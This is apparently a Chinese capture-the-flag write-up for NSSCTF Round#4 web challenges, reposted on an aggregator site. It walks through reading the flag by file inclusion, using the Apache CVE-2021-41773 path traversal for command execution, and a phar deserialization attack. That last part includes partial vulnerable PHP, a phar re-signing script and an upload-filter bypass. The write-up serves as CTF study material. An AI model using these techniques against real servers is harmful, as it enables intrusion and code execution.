栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

NSSCTF Round#4 Web WP

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

NSSCTF Round#4 Web WP

前言

整体Web题目不是很难,正适合我这个菜鸡打,也是我第一次在博客上发WP就好好写写,之前的比赛都没做出几道题所以没机会写,之后会更多地更新博客。

1zweb

这道题被非预期解了,查看文件可以直接文件包含读取flag

 ez_rce

一打开页面只有It works!这几个大字,扫目录也没有收获。

查看apache版本,搜索有没有相关的漏洞,找到了一个目录穿越达到命令执行的漏洞。

刚好测试环境页面也是It works!,看来就是它了。

https://github.com/vulhub/vulhub/blob/master/httpd/CVE-2021-41773/README.zh-cn.md

bp抓包后成功命令执行

找flag在根目录

 但还需要走迷宫,一共有四层(出题人,你坏事做尽

 用bp自带的板块进行爆破,获取flag

 1zweb(revenge)

把flag禁了之后的第一题

可以通过查看文件查看index.php以及upload.php

// index.php
ljt="ljt";
        $this->dky="dky";
        phpinfo();
    }
    public function __destruct(){
        if($this->ljt==="Misc"&&$this->dky==="Re")
            eval($this->cmd);
    }
    public function __wakeup(){
        $this->ljt="Re";
        $this->dky="Misc";
    }
}
$file=$_POST['file'];
if(isset($_POST['file'])){
    if (preg_match("/flag/i", $file)) {
      die("nonono");
    }
    echo file_get_contents($file);
}

很明显是和反序列化相关,ile_get_contents读phar文件时能能触发返序列化漏洞,所以我们只需要创建一个phar文件就可以了。

exp

setStub('');
  $phar->setMetadata($a);
  $phar->addFromString('1.txt','dky');
?>

为了绕过__wakeup将属性数量改大

签名代码进行修复

from hashlib import sha1
f = open('./phar.phar', 'rb').read() # 修改内容后的phar文件
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
open('22.phar', 'wb').write(newf) # 写入新文件

然后我们再来看upload.php

 0){
    echo "上传异常";
}
else{
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    $temp = explode(".", $_FILES["file"]["name"]);
    $extension = end($temp);
    if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){
        $content=file_get_contents($_FILES["file"]["tmp_name"]);
        $pos = strpos($content, "__HALT_COMPILER();");
        if(gettype($pos)==="integer"){
            echo "ltj一眼就发现了phar";
        }else{
            if (file_exists("./upload/" . $_FILES["file"]["name"])){
                echo $_FILES["file"]["name"] . " 文件已经存在";
            }else{
                $myfile = fopen("./upload/".$_FILES["file"]["name"], "w");
                fwrite($myfile, $content);
                fclose($myfile);
                echo "上传成功 ./upload/".$_FILES["file"]["name"];
            }
        }
    }else{
        echo "dky不喜欢这个文件 .".$extension;
    }
}
?>

 这里对文件后后缀进行了白名单,也对phar文件内容进行了检测,伪了绕过这两点,我们可以使用phar伪协议

php文件上传+文件包含(phar伪协议)_Spaceman-911的博客-CSDN博客_phar伪协议

将文件压缩为zip文件,并把后缀改为png文件,这样文件内容和后缀白名单检测都绕过了

成功上传

然后再用phar伪协议进行读取,解压文件并改为phar.phar,获得flag

 

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/1035606.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号